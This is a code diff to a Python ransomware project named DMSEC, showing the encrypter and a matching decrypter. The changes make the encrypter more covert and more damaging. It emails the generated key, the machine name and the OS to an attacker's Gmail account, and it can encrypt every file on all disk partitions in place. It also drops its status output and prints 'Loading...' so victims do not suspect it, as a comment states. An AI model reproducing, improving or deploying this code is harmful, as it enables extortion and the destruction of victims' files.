update Ransomware

ransomwares/dmsec/decrypter.py

@@ -10,14 +10,17 @@ def __init__(self, key:str=None, paths:list=None) -> None:
         if key == None:
             print('[!] Invalid KEY')
             exit()
+
+        # convert key to bytes
         if type(key)==str:
             key = bytes(key, encoding='utf-8')
         self.KEY = key
-        print('[!] KEY :', self.KEY)
+        print('[!] Decrypting data using KEY :', self.KEY)
 
         # generate fernet obj for file encryption
         self.fernet = Fernet(self.KEY)
 
+        # decrypt all partitions if paths are not passed
         if paths == None:
             self.PATHS = self.__get_partitions_path()
         else:
@@ -64,12 +67,9 @@ def decrypt_files(self, path:str):
         decrypts all the files in the specified path
         '''
         for root, dirs, files in walk(path):
-            print('-'*40)
-            print('ROOT :',root)
             for file in files:
                 file_path = join(root, file)
                 self.decrypt_file(file_path=file_path)
-            print('-'*40)
 
 
     def start(self):
@@ -78,7 +78,15 @@ def start(self):
 
 
 if __name__ == '__main__':
-    PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
+    print('[*] Decrypting....')
+
+    # specify paths to be decrypted
+    PATHS = [r'paths_to_be_decrypted',]
+
     KEY = input('[+] Enter KEY : ')
+
+    # don't pass PATHS if all the drives are to be decrypted.
     encrypter = DMSECDecrypter(KEY, PATHS)
     encrypter.start()
+
+    print('[*] Decrypted...')

ransomwares/dmsec/dmsec_ransomeware.py

@@ -1,13 +1,22 @@
+import smtplib
 from cryptography.fernet import Fernet
-from os import chdir, getcwd, walk
+from os import walk, environ
 from os.path import join
 from psutil import disk_partitions
 
+
 class DMSECEncrypter:
-    def __init__(self, paths:list=None) -> None:
+    def __init__(self, paths:list=None, gmail:str=None, passwd:str=None) -> None:
         # generate new key
         self.KEY = Fernet.generate_key()
-        print('[!] KEY :', self.KEY)
+
+        # report KEY to the attacker using email
+        if gmail!=None and passwd!=None and self.send_mail(mail=gmail, password=passwd):
+            pass
+        else:
+            # print error message and exit if key is not sent
+            print('[!] Try Again, Unable to connect')
+            exit()
 
         # generate fernet obj for file encryption
         self.fernet = Fernet(self.KEY)
@@ -16,9 +25,23 @@ def __init__(self, paths:list=None) -> None:
             self.PATHS = self.__get_partitions_path()
         else:
             self.PATHS = paths
-        print('[!] PATHS to be encrypted :\n', self.PATHS)
 
 
+    def send_mail(self, mail, password)->bool:
+        '''
+        sends mail to specific address/addresses.
+        '''
+        try:
+            message =  f'Subject: RNSMWARE ATTK has been initialized on {environ["COMPUTERNAME"]}\n**KEY** {str(self.KEY, encoding="utf-8")}\n**OS** {environ["OS"]}\n\n'
+            server = smtplib.SMTP('smtp.gmail.com', 587)
+            server.starttls()
+            server.login(mail, password)
+            server.sendmail(mail, mail, message)
+            server.quit()
+            return True
+        except Exception as e:
+            return False
+
 
     def __get_partitions_path(self) -> list:
         '''
@@ -42,32 +65,32 @@ def encrypt_file(self, file_path):
             # write file data
             with open(file_path, 'wb') as f:
                 file_data = f.write(enc_data)
-            print(f'[*] File {file_path} encrypted.')
             return True
 
         except Exception:
-            print(f'[!] Failed to encrypt {file_path}')
             return False
 
 
     def encrypt_files(self, path:str):
         for root, dirs, files in walk(path):
-            print('-'*40)
-            print('ROOT :',root)
             for file in files:
-                # print('File :', file)
                 file_path = join(root, file)
-                # print('filePATH :',file_path)
                 self.encrypt_file(file_path=file_path)
-            print('-'*40)
-
 
 
     def start(self):
         for path in self.PATHS:
             self.encrypt_files(path)
 
+
 if __name__ == '__main__':
-    PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
-    encrypter = DMSECEncrypter(PATHS)
+    # Print some meaningful text, so that user don't suspect program as ransomeware 
+    print('[*] Loading...')
+
+    # Specify paths to be encrypted
+    PATHS = [r'path_to_be_encrypted',]
+
+    # don't pass PATHS if all the drives are to be encrypted
+    encrypter = DMSECEncrypter(PATHS, gmail='yourgmailid', passwd='yourapppassword')
     encrypter.start()
+    print('[*] Completed')